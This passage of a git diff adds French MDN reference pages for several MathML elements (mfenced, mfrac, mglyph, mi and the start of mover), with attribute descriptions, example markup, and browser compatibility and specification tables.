+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("7.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>mathbackground</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>mathcolor</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Spécification</th>
+      <th scope="col">Statut</th>
+      <th scope="col">Commentaires</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{ SpecName('MathML3', 'chapter3.html#presm.merror', 'merror') }}</td>
+      <td>{{ Spec2('MathML3') }}</td>
+      <td>Spécification actuelle</td>
+    </tr>
+    <tr>
+      <td>{{ SpecName('MathML2', 'chapter3.html#presm.merror', 'merror') }}</td>
+      <td>{{ Spec2('MathML2') }}</td>
+      <td>Spécification initiale</td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/fr/web/mathml/element/mfenced/index.html b/files/fr/web/mathml/element/mfenced/index.html
new file mode 100644
index 0000000000..8860dd27ab
--- /dev/null
+++ b/files/fr/web/mathml/element/mfenced/index.html
@@ -0,0 +1,106 @@
+---
+title: mfenced
+slug: Web/MathML/Element/mfenced
+tags:
+  - MathML
+  - 'MathML:Element'
+  - 'MathML:Format General Schema'
+  - 'MathML:Référence'
+  - Obsolete
+translation_of: Web/MathML/Element/mfenced
+---
+<p>{{MathMLRef}}</p>
+
+<p>{{deprecated_header}} <span class="seoSummary">L'élément MathML <code>&lt;mfenced&gt;</code> offre la possibilité d'ajouter des parenthèses ouvrantes et fermantes personnalisées ainsi que des séparateurs (comme les virgules ou points-virgules) à une expression.</span></p>
+
+<div class="blockIndicator deprecated">
+<p>Il a été supprimé de la dernière norme MathML et les navigateurs modernes ne le prennent plus en charge. Utilisez les éléments {{MathMLElement("mrow")}} et {{MathMLElement("mo")}} à la place.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+ <dt id="attr-close">close</dt>
+ <dd>Une chaîne de caractère pour le délimiteur fermant. La valeur par défaut est « <code>) </code>» et tous les blancs sont tronqués.</dd>
+ <dt id="attr-href">href {{Deprecated_Inline()}}</dt>
+ <dd>Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground">mathbackground {{Deprecated_Inline()}}</dt>
+ <dd>La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor {{Deprecated_Inline()}}</dt>
+ <dd>La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+</dl>
+
+<dl>
+ <dt id="attr-open">open</dt>
+ <dd>Une chaîne de caractère pour le délimiteur ouvrant. La valeur par défaut est « <code>(</code> » et tous les blancs sont tronqués.</dd>
+ <dt id="attr-separators">separators</dt>
+ <dd>Une séquence de plusieurs caractères (zéro ou plus) à utiliser pour les séparateurs, éventuellement séparés par des blancs qui seront ignorés. La valeur par défaut est  « , ». En définissant plus d'un caractère, il est possible d'utiliser différents séparateurs pour chaque argument de l'expression. Si jamais il y a trop de séparateurs, le surplus est ignoré. S'il n'y en a pas assez, le dernier séparateur est répété.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Exemple 1 : Le dernier séparateur est répété (<code>,</code>).</p>
+
+<p>Exemple d'affichage: <img alt="{a;b;c,d,e}" src="/files/3193/mfenced01.png"></p>
+
+<p>Affichage dans votre navigateur: <math> <mfenced close="}" open="{" separators=";;,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math></p>
+
+<pre class="brush: html">&lt;math&gt;
+  &lt;mfenced open="{" close="}" separators=";;,"&gt;
+    &lt;mi&gt;a&lt;/mi&gt;
+    &lt;mi&gt;b&lt;/mi&gt;
+    &lt;mi&gt;c&lt;/mi&gt;
+    &lt;mi&gt;d&lt;/mi&gt;
+    &lt;mi&gt;e&lt;/mi&gt;
+  &lt;/mfenced&gt;
+&lt;/math&gt;
+</pre>
+
+<p>Exemple 2 : Le séparateur en excès est ignoré (<code>,</code>).</p>
+
+<p>Exemple d'affichage: <img alt="[a|b|c|d|e]" src="/files/3195/mfenced02.png"></p>
+
+<p>Affichage dans votre navigateur: <math> <mfenced close="]" open="[" separators="||||,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math></p>
+
+<pre class="brush: html">&lt;math&gt;
+  &lt;mfenced open="[" close="]" separators="||||,"&gt;
+    &lt;mi&gt;a&lt;/mi&gt;
+    &lt;mi&gt;b&lt;/mi&gt;
+    &lt;mi&gt;c&lt;/mi&gt;
+    &lt;mi&gt;d&lt;/mi&gt;
+    &lt;mi&gt;e&lt;/mi&gt;
+  &lt;/mfenced&gt;
+&lt;/math&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mfenced', 'mfenced') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification actuelle</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mfenced', 'mfenced') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une <em>pull request</em>.</div>
+
+<p>{{Compat("mathml.elements.mfenced")}}</p>
diff --git a/files/fr/web/mathml/element/mfrac/index.html b/files/fr/web/mathml/element/mfrac/index.html
new file mode 100644
index 0000000000..c6a91e8cec
--- /dev/null
+++ b/files/fr/web/mathml/element/mfrac/index.html
@@ -0,0 +1,203 @@
+---
+title: mfrac
+slug: Web/MathML/Element/mfrac
+tags:
+  - MathML
+  - 'MathML:Element'
+  - 'MathML:Référence'
+translation_of: Web/MathML/Element/mfrac
+---
+<p>L'élément MathML <code>&lt;mfrac&gt;</code> est utilisé pour afficher des fractions.</p>
+<p>La syntaxe est la suivante : <code>&lt;mfrac&gt;<em>numérateur</em> <em>dénominateur</em>&lt;/mfrac&gt;</code>.</p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+ <dt id="attr-bevelled">
+  bevelled</dt>
+ <dd>
+  Définit la façon dont la fraction est affichée. Si l'attribut vaut <code>true</code>, la ligne de fraction est biseautée (/) et le numérateur et le dénominateur sont affichés côte à côté. S'il vaut <code>false</code> (la valeur par défaut), le numérateur sera au-dessus du dénominateur.</dd>
+ <dt id="attr-class-id-style">
+  class, id, style</dt>
+ <dd>
+  Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+ <dt id="attr-denomalign">
+  denomalign</dt>
+ <dd>
+  L'alignement du dénominateur sous la fraction. Les valeurs possibles : <code>left</code>, <code>center</code> (valeur par défaut), et <code>right</code>.</dd>
+ <dt id="attr-href">
+  href</dt>
+ <dd>
+  Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-linethickness">
+  linethickness</dt>
+ <dd>
+  L'épaisseur de la ligne de fraction horizontale. La valeur par défaut est <code>medium</code>, mais l'attribut peut prendre d'autres valeurs comme <code>thin</code>, <code>thick</code>, et <a href="/fr/docs/CSS/length">autres</a>.</dd>
+ <dt id="attr-mathbackground">
+  mathbackground</dt>
+ <dd>
+  La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">
+  mathcolor</dt>
+ <dd>
+  La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-numalign">
+  numalign</dt>
+ <dd>
+  L'alignement du numérateur au dessus de la barre de fraction. Les valeurs possibles sont : <code>left</code>, <code>center</code> (la valeur par défaut), et <code>right</code>.</dd>
+</dl>
+<h2 id="Exemple">Exemple</h2>
+<p>Exemple d'affichage : <img alt="(a/b)/(c/d)" src="/files/3194/mfrac.png" style="vertical-align: middle; margin-left: 10px;"></p>
+<p>Affichage dans votre navigateur: <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d</mi></mfrac></mfrac></math></p>
+<pre class="brush: html">&lt;math&gt;
+  &lt;mfrac bevelled="true"&gt;
+     &lt;mfrac&gt;
+        &lt;mi&gt; a &lt;/mi&gt;
+        &lt;mi&gt; b &lt;/mi&gt;
+     &lt;/mfrac&gt;
+     &lt;mfrac&gt;
+        &lt;mi&gt; c &lt;/mi&gt;
+        &lt;mi&gt; d &lt;/mi&gt;
+     &lt;/mfrac&gt;
+  &lt;/mfrac&gt;
+&lt;/math&gt;
+</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Support simple</td>
+    <td>{{ CompatNo() }} (24 seulement)</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>9.5</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td><code>bevelled</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoDesktop("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+    <td>{{ CompatGeckoDesktop("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }} (24 seulement)</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }} (24 seulement)</td>
+    <td>{{ CompatGeckoDesktop("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>5.1</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support simple</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>bevelled</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("1.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>href</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("7.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathbackground</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+   <tr>
+    <td><code>mathcolor</code></td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("2.0") }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Note_relatives_à_Gecko">Note relatives à Gecko</h3>
+<p>À partir de Gecko 7.0 {{ geckoRelease("7.0") }} la valeur <code>medium</code> de l'attribut <code>linethickness</code> a été corrigée afin de correspondre à l'épaisseur par défaut.</p>
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mfrac', 'mfrac') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification actuelle</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mfrac', 'mfrac') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/fr/web/mathml/element/mglyph/index.html b/files/fr/web/mathml/element/mglyph/index.html
new file mode 100644
index 0000000000..e19c07131f
--- /dev/null
+++ b/files/fr/web/mathml/element/mglyph/index.html
@@ -0,0 +1,70 @@
+---
+title: <mglyph>
+slug: Web/MathML/Element/mglyph
+tags:
+  - Element
+  - MathML
+  - Reference
+translation_of: Web/MathML/Element/mglyph
+---
+<div>{{MathMLRef}}</div>
+
+<p>L'élément MathML <strong><code>&lt;mglyph&gt;</code></strong> est utilisé afin d'afficher des symboles non-standards n'ayant pas de caractères Unicode correspondants. Cet élément peut être utilisé avec les <a href="/fr/docs/tag/MathML:Token%20Elements">éléments jetons</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-alt"><code>alt</code></dt>
+ <dd>Cet attribut définit le texte alternatif décrivant l'image. Ce texte sera affiché si l'URL est incorrecte, si <a href="/fr/docs/Web/HTML/Element/Img#Formats_d%27image_support.C3.A9s" title="/fr/docs/Web/HTML/Element/Img#Formats_d%27image_support.C3.A9s">le format de l'image n'est pas supporté</a> ou jusqu'à la fin du téléchargement de l'image.</dd>
+ <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
+ <dd>Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+ <dt id="attr-height"><code>height</code></dt>
+ <dd>La hauteur de l'image.</dd>
+ <dt id="attr-href"><code>href</code></dt>
+ <dd>Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground"><code>mathbackground</code></dt>
+ <dd>La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-src"><code>src</code></dt>
+ <dd>L'URL de l'image.</dd>
+ <dt id="attr-valign"><code>valign</code></dt>
+ <dd>Définit l'alignement vertical par rapport à la ligne de base courante.</dd>
+ <dt id="attr-width"><code>width</code></dt>
+ <dd>La largeur de l'image.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;math&gt;
+  &lt;mi&gt;&lt;mglyph src="mon-glyphe.png" alt="mon glyphe"/&gt;&lt;/mi&gt;
+&lt;/math&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mglyph', 'mglyph') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Spécification actuelle</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mglyph', 'mglyph') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("mathml.elements.mglyph")}}</p>
diff --git a/files/fr/web/mathml/element/mi/index.html b/files/fr/web/mathml/element/mi/index.html
new file mode 100644
index 0000000000..07dfa2bd4f
--- /dev/null
+++ b/files/fr/web/mathml/element/mi/index.html
@@ -0,0 +1,231 @@
+---
+title: mi
+slug: Web/MathML/Element/mi
+tags:
+  - MathML
+  - 'MathML:Element'
+  - 'MathML:Référence'
+translation_of: Web/MathML/Element/mi
+---
+<p>L'élément MathML <code>&lt;mi&gt;</code> indique que le contenu doit être affiché comme un <strong>identifiant</strong> (comme les noms de fonctions, de variables ou les constantes symboliques). Il est également possible de l'utiliser avec du texte en général pour annoter.</p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+  <dt id="attr-class-id-style">
+    class, id, style</dt>
+  <dd>
+    Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+  <dt id="attr-dir">
+    dir</dt>
+  <dd>
+    Le sens de lecture du texte. Les valeurs possibles sont soit <code>ltr</code> (<em>left to right</em> pour gauche à droite) or <code>rtl</code> (<em>right to left</em> pour droite à gauche).</dd>
+  <dt id="attr-href">
+    href</dt>
+  <dd>
+    Un hyperlien pointant vers un URI donné.</dd>
+  <dt id="attr-mathbackground">
+    mathbackground</dt>
+  <dd>
+    La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+  <dt id="attr-mathcolor">
+    mathcolor</dt>
+  <dd>
+    La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+  <dt id="attr-mathsize">
+    mathsize</dt>
+  <dd>
+    La taille du contenu. Les valeurs possibles sont :
+    <ul>
+      <li><code>small :</code> La police utilisée sera plus petite que la police courante.</li>
+      <li><code>normal :</code> Équivalent à 100% ou 1em.</li>
+      <li><code>big :</code> La police utilisée sera plus grande que la police courante.</li>
+      <li>Une <a class="/fr/docs/CSS/longueur" href="/fr/docs/CSS/longueur">longueur quelconque</a>.</li>
+      <li>ou une valeur sans unité qui multiplie la taille par défaut.</li>
+    </ul>
+  </dd>
+  <dt id="attr-mathvariant">
+    mathvariant (implémenté en partie : voir {{ bug("114365") }} et {{ bug("162405") }})</dt>
+  <dd>
+    La classe logique des identifiants, variant selon la typographie. Cela veut dire que, bien que les noms suggèrent une certaine mise en forme, les éléments d'une même classe seront traités de la même manière au sein d'une même expression. Cela peut, ou pas, impliquer un affichage avec la typographie mentionnée. Les valeurs suivantes sont autorisées :
+    <ul>
+      <li><code>normal</code> (La valeur par défaut pour plus d'un caractère)</li>
+      <li><code>bold</code></li>
+      <li><code>italic</code> (La valeur par défaut pour un seul caractère)</li>
+      <li><code>bold-italic</code></li>
+    </ul>
+    <ul>
+      <li><code>double-struck</code> {{ unimplemented_inline() }}</li>
+      <li><code>bold-fraktur</code> {{ unimplemented_inline() }} (la mise en gras fonctionne)</li>
+      <li><code>script</code> {{ unimplemented_inline() }}</li>
+      <li><code>bold-script</code> {{ unimplemented_inline() }} (la mise en gras fonctionne)</li>
+      <li><code>fraktur</code> {{ unimplemented_inline() }}</li>
+    </ul>
+    <ul>
+      <li><code>sans-serif</code></li>
+      <li><code>bold-sans-serif</code></li>
+      <li><code>sans-serif-italic</code></li>
+      <li><code>sans-serif-bold-italic</code></li>
+      <li><code>monospace</code></li>
+    </ul>
+    <ul>
+      <li><code>initial</code> {{ unimplemented_inline() }}</li>
+      <li><code>tailed</code> {{ unimplemented_inline() }}</li>
+      <li><code>looped</code> {{ unimplemented_inline() }}</li>
+      <li><code>stretched</code> {{ unimplemented_inline() }}</li>
+    </ul>
+  </dd>
+</dl>
+<h2 id="Exemples">Exemples</h2>
+<pre class="brush: html">&lt;math&gt;
+
+  &lt;mi&gt; y &lt;/mi&gt;
+
+  &lt;mi&gt; sin &lt;/mi&gt;
+
+  &lt;mi mathvariant="monospace"&gt; x &lt;/mi&gt;
+
+  &lt;mi mathvariant="bold"&gt; &amp;pi; &lt;/mi&gt;
+
+&lt;/math&gt;
+</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Fonctionnalité</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Support simple</td>
+        <td>{{ CompatNo() }} (24 seulement)</td>
+        <td>{{ CompatGeckoDesktop("1.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>9.5</td>
+        <td>5.1</td>
+      </tr>
+      <tr>
+        <td>attribut <code>dir</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoDesktop("12.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td>attribut <code>href</code></td>
+        <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+        <td>{{ CompatGeckoDesktop("7.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+      </tr>
+      <tr>
+        <td>attribut <code>mathsize</code></td>
+        <td>{{ CompatNo() }} (24 seulement)</td>
+        <td>{{ CompatGeckoDesktop("1.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>5.1</td>
+      </tr>
+      <tr>
+        <td>attribut <code>mathvariant</code></td>
+        <td>{{ CompatNo() }} (24 seulement)</td>
+        <td>en partie supporté (voir ci-avant)</td>
+        <td>{{ CompatNo() }}</td>
+        <td>en partie supporté, (voir ci-avant) [*]</td>
+        <td>en partie supporté, (voir ci-avant) [*]</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Fonctionnalité</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Support simple</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td>attribut <code>dir</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("12.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td>attribut <code>href</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("7.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td>attribut <code>mathsize</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td>attribut <code>mathvariant</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>en partie supporté (voir ci-avant)</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<p>[*] La police ne change pas vers <code>normal</code> quand le contenu est plus qu'un seul caractère.</p>
+<h3 id="Note_relative_à_Gecko">Note relative à Gecko</h3>
+<p>À partir de Gecko 20.0 {{geckoRelease("20.0")}} une valeur sans unité est autorisée pour <code>mathsize</code>.</p>
+<h2 id="Specifications" name="Specifications">Spécification</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Spécification</th>
+      <th scope="col">Statut</th>
+      <th scope="col">Commentaires</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{ SpecName('MathML3', 'chapter3.html#presm.mi', 'mi') }}</td>
+      <td>{{ Spec2('MathML3') }}</td>
+      <td>Spécification actuelle</td>
+    </tr>
+    <tr>
+      <td>{{ SpecName('MathML2', 'chapter3.html#presm.mi', 'mi') }}</td>
+      <td>{{ Spec2('MathML2') }}</td>
+      <td>Spécification initiale</td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/fr/web/mathml/element/mover/index.html b/files/fr/web/mathml/element/mover/index.html
new file mode 100644
index 0000000000..fa0d02b872
--- /dev/null
+++ b/files/fr/web/mathml/element/mover/index.html
@@ -0,0 +1,213 @@
+---
+title: <mover>
+slug: Web/MathML/Element/mover
+translation_of: Web/MathML/Element/mover
+---
+<p>{{MathMLRef()}}</p>
+<p>L'élément MathML <code>&lt;mover&gt;</code> est utilisé pour attacher un accent ou une limite au-dessus d'une expression. La syntaxe est la suivante: <code>&lt;mover&gt; <em>base overscript</em> &lt;/mover&gt;</code></p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+ <dt id="attr-accent">
+  accent</dt>
+ <dd>
+  Lorsqu'il vaut <code>true</code> le script au-dessus est un <em>accent</em>, qui est affiché plus près de la base.<br>
+  Lorsqu'il vaut <code>false</code> (valeur par défaut) le script au-dessus est une <em>limite</em> au-dessus de la base.</dd>
+ <dt id="attr-align">
+  align</dt>
+ <dd>
+  L'alignement du script au-dessus. Les valeurs possibles sont : <code>left</code>, <code>center</code>, et <code>right</code>.</dd>
+ <dt id="attr-class-id-style">
+  class, id, style</dt>
+ <dd>
+  Afin d'être utilisés avec les <a href="https://developer.mozilla.org/fr/docs/CSS">feuilles de styles</a>.</dd>
+ <dt id="attr-href">
+  href</dt>
+ <dd>
+  Un hyperlien pointant vers un URI donné.</dd>
+ <dt id="attr-mathbackground">
+  mathbackground</dt>
+ <dd>
+  La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="https://developer.mozilla.org/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+ <dt id="attr-mathcolor">
+  mathcolor</dt>
+ <dd>
